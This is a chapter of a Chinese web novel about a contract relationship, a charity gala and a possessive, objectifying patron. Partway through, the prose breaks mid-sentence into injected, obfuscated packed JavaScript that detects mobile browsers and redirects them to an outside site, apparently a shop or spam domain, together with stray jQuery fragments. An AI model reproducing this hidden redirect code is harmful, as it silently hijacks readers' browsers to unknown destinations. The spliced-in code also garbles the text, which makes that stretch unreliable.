“明天晚上7点,安德森基金晚宴,铂尔顿酒店顶楼。礼服和造型师下午4点会到你的公寓,你需要陪同我出席。”
没有询问,只是不容置疑的陈述句。
“不,明天不行。”
“为什么?”
卢卡斯声音很平,丝毫没有感觉到被拒绝的不悦。
明天晚上林格约他去打球,他已经答应了。但眼下说出来似乎不是一个好的选择。
最后阮未眠只说了句:“我有事。”
“推了。”卢卡斯说。
他双手交叉,姿势很优雅放松,但是语气却很冰冷。
“需要我再次提醒你签订的条款吗?合同条款第7项,关于必要社交陪同的规定,我希望你不会有机会让我亲自提醒你违约后果。”
“无论是我邀请你进行必要的社交陪同,还是之后的同居,乃至于上床、做/爱……都是以我的需求为准。”
卢卡斯笑着说。
助教先生,似乎一直没有认清自己的地位。
“OK,打住……”阮未眠虽面无表情,但还是觉得有些不适。
西方人真是开放,“上/床,做/爱”都随口就来。
他确实没法承担拒绝的后果。
不就是之前在讨论时寸步不让吗?
卢卡斯真是睚眦必报。
他最后还是回复了:“好。”
回到公寓给林格发了道歉短信:“林格学长,实在抱歉,本周六我无法赴约了。”
林格:“是出了什么事情吗?”
阮未眠纠结地回:“没有,只是有点小事。”
林格很快回复:“好的,我们下次再约。有事你随时联系我。”
阮未眠自觉自己确实是该休息了,这个星期太累了,劳心劳力。
好在阮建国拿到钱后安分了些,他这几天没再收到无休止的电话骚扰。
第二天下午4点,公寓门铃准时响起。
造型师上门了。
阮未眠被摆弄着试衣。
剪裁合体的黑色礼服衬得他肤色越发冷白。
造型师最后给他别上了一枚钻石胸针。
阮未眠看着这钻石,就知道价格不菲。
“这个?”
“是配套的装饰。”造型师一脸惊艳,只盯着阮未眠的脸看,只有这样的美貌才能压住钻石的璀璨。
他赞叹不已:“阮先生,您真是天生的衣架子。”
阮未眠只道是场面话,扯了扯嘴角礼貌道谢。
铂尔顿酒店宴会厅流光溢彩,衣香鬓影。
这是顶级奢华的上层阶级社交场。
阮未眠的出现就像是一滴牛奶落在了浓墨里,瞬间吸引了诸多探究的目光。
他太扎眼,东方式的精致面孔,带着与周遭浮华格格不入的清澈温和。
基金会主办方并非卢卡斯。
但卢卡斯站在那儿,仿佛才是宴会上真正的主人。
他一身西装笔挺,被一群人簇拥着谈笑风生,金发在璀璨灯光下耀眼夺目。
灰绿色的眼眸漫不经心地扫视全场,最终落在阮未眠身上。
他没有立刻过来,而是隔着人群,遥遥扫了他一眼。
阮未眠颔首,算是打了个招呼,然后从侍者托盘里取了一杯香槟,找了个相对安静的角落站定。
没过多久,一个身着粉色西装的男人凑了过来,目光毫不掩饰地在他身上逡巡。
“这位先生面生得很,不知道在哪里高就?”语气中带着轻佻的试探。
阮未眠还未开口,一个低沉的声音插了进来,带着不容置疑的占有欲:“他是我的人。”
卢卡斯不知何时已走到他身边,手臂极其自然地揽过他的肩,将两人的距离拉近到一个亲密的范围。
雾凇森林般的冷冽气息瞬间包裹了阮未眠。
“对不起,威廉先生。”提问的男人脸色微变,讪讪地笑了两声,迅速离开。
“看来助教先生很受欢迎嘛。”
卢卡斯低下头,温热的气息拂过阮未眠的耳廓,声音压得很低,像情人间的呢喃。
阮未眠的耳根有点烧,他拉开了点距离,然后回道:“那是因为,我是你带来的。”
卢卡斯灰绿色的眼眸微眯,他很受用。
“嗯,你安静待在这儿。只准看着我,别给我惹麻烦,我需要和一些朋友打招呼,待会来找你。”
阮未眠身体有瞬间的僵硬,但很快放松下来。
他表情温和,迎上了卢卡斯的目光,桃花眼里漾出一抹笑意:“当然,卢卡斯。”
卢卡斯把他手上的香槟拿走,给他换了一杯牛奶。
递东西的时候手指触碰。
卢卡斯似乎特意放慢了动作,停留了一瞬,指间的触碰让那抹淡红从耳根烧到了脸上。
阮未眠走到角落半天才缓过来。
……
“你好。”
是中文?
阮未眠欣喜地转过头去。
这是位年约四十,气质儒雅的中国面孔。
“你是中国人?”阮未眠有些惊喜地用上了母语。
“是啊。”男人微笑着伸出了手,“陈默生。”
阮未眠放下了牛奶,也回握了一下:“阮未眠。”
他早就注意到了这个东方脸孔的儒雅男子,看起来应该颇有地位,一直有很多人围在他身边。
“这幅《春江晚景图》是清代的仿品。”
“是的,我看出来了。”阮未眠点了点头。
“你是学生?”
阮未眠笑了一下:“您眼光真准,我是圣南都艺术学院研二的学生。”
陈默生:“你很喜欢中国的水墨画?那为什么会选择来圣南都?你学的是中国画吗?”
阮未眠摇了摇头:“我在西方接受的研究生教育是油画。”
“哦?”陈默生很有兴趣。
阮未眠说:“我本科学的是传统中国画,是我的启蒙老师推荐我来圣南都进修的。毕竟世界命运共同体,我国艺术教育推崇多元文化的融合,而圣南都学院研究生阶段鼓励创作者打破媒介与文化的边界,形成个人风格。”
“许多艺术家都以油画为载体,融入了中国画的笔墨意趣,留白美学和写意精神。所以,我来了。”
陈默生点头:“这个我知道,赵无极大师和朱德群大师的创作路径便是如此。这种跨文化的实践,本身就是艺术研究的重要方向。中国画的内敛意境与风骨是内核。”
“哈哈,是的!我很爱中国画,那种恬淡意境是不可言说的美妙。”
阮未眠虽在国外,但却依旧有一颗中国心,遇到陈默生,算是他乡遇故知了。
陈默生显然对阮未眠非常满意。
他笑着递出了一张名片:“阮先生,我是墨斋的老板,很高兴认识你。我的画廊下个季度有个青年艺术家推介展,如果你有合适的作品,我很乐意看一看。”
阮未眠的心跳漏了一拍:“您就是墨斋的老板?鼎鼎大名的墨先生?”
“是的。”陈默生点了点头。“鼎鼎大名谈不上,我只是个庸俗的商人。”
阮未眠激动地伸出双手,恭敬地接过名片。
“墨斋捐赠了很多国宝级的作品回国。我的启蒙老师,王宁先生,他一直想见您一面。”
陈默生笑了一下:“会有机会的。”
阮未眠脸上依旧是那副温润得体的笑容:“谢谢陈先生的赏识,这是我的荣幸。我的个人展可能现在举办还为时太早,但是我想请问,您是否可以提供给我一份工作?兼职就好,我想在您的画廊里学习。”
“好,欢迎。”陈默生满意点头。
阮未眠激动地拿着名片,迅速添加了联系方式。
被迫来参会的那点不悦烟消云散,他甚至还有点感激起卢卡斯来。
一身笔挺西装的主人雷柏·安德森和卢卡斯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334823|199232||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
握了握手:“卢卡斯,听说你今天带了一个非常漂亮的东方男孩来。”
卢卡斯简单“嗯”了一声。
他露出了一个亲密又宠溺的微笑,像是展示一件得意的器物:“他是我最近收藏的一件……精致的藏品。”
“哦,我看到他了。”雷柏无比惊讶地赞叹,“真漂亮。”
远处水晶灯光打下来,俊男靓女不少,但唯独只有那个东方男孩,皮肤冷白,像冰雪雕成的人,让人移不开视线。
雷柏赞叹道:“怎么形容呢?”他晃着手上的香槟,有些为难地找形容词。
“很漂亮,不是吗?像东方的瓷器,安静地待在角落里,就足够赏心悦目。”他的女伴莉莉丝笑着说。
“是的,好看的东西只需要在那就能让人高兴。”雷柏深感赞同,觉得莉莉丝的比喻真是无比恰当,
“就像是上周在Hong Kong成交的北宋汝窑天青釉洗,孤品,器型独特,釉色纯净。昂贵,温润,有精湛绝伦的美貌和完美的品相,让人一看就想拥有。”
“雷柏,他是我的。”卢卡斯冷笑了一声,嗓音低沉,警告地看了一眼雷柏。
是啊,他不过是一件可以打发时间的藏品罢了。在没玩腻之前,别人不可以染指。
“当然。”
雷柏自然知道,谁能和卢卡斯·威廉抢收藏品呢?上层阶级中也有金字塔,威廉家族显然是金字塔尖的那位,而卢卡斯更是无冕之王。并且,他才二十岁。
雷柏是带着欣赏的眼神,目不转睛地看着远处的东方男孩。
“奥……那么可爱的男孩子,你是拿来炫耀的吗,卢卡斯?真让人嫉妒。”
卢卡斯心情无比愉悦。
确实如此,他想要让所有的人都看到,你看啊,这件独一无二的藏品只属于我!
他顺着雷柏的视线望过去,阮未眠果真是安安静静地待在那儿,打量着墙上那幅水墨画。似乎只要有画,他就能安安静静地待着,待在他身边。
卢卡斯竟然想着要不把那幅画买回去。
他此时竟有些嫉妒,那幅画占据了他全部的目光。
他的藏品,不应该只看着他的拥有者吗?
一点不悦涌上了心头,连带着莫名的占有欲在他胸腔燃烧。
雷柏忽然笑了起来:“卢卡斯,看来你的宝贝被其他人发现了。”
“那个人是谁?卢卡斯脸上慵懒的笑容渐渐淡去。
“是陈默生,一个华裔,上流阶层的中国人,经营者美国几乎半数的名画产业。或许你听过‘墨斋’?”
“是的,我确实听过。”他遥遥地看着阮未眠在陈默生面前那种散发着冷静和自信的光芒,看着陈默生眼中毫不掩饰的激赏,一种莫名的烦躁感悄然升起。
这种烦躁源于失控,阮未眠不应该在这样的场合脱离他的剧本,成为别人瞩目的焦点。
他步履从容的走上前,站在了阮未眠的身边,他右手轻轻的搭在了阮未眠的后腰上,这是一个兼具亲密感与占有欲的禁锢姿势,他朝陈默生伸出了左手:“你好,卢卡斯·威廉。”
陈默生:“您好,威廉先生,久仰大名。”
阮未眠在他触到自己的后腰时,身体就绷住了。
他看着卢卡斯对陈先生露出无可挑剔的社交微笑。
笑容也僵在脸上。
卢卡斯说:“感谢您与我的客人交谈,不过我们该去那边了,他需要在我身边。”
陈默生:“好的,请便。”他朝着阮未眠微微颔首然后告辞。
而阮未眠手上还拿着那张名片,漂亮的眼睛清澈如泉。
卢卡斯能清晰看到他的喜悦。
“聊得很开心?”卢卡斯的声音听不出情绪,但那双灰绿色的眼眸深处,已是暗流汹涌。
他看着阮未眠手上的名片,微笑着仰头将杯中的冰水一饮而尽,喉结剧烈地滚动。
“很好,助教先生,你总是能给我惊喜。”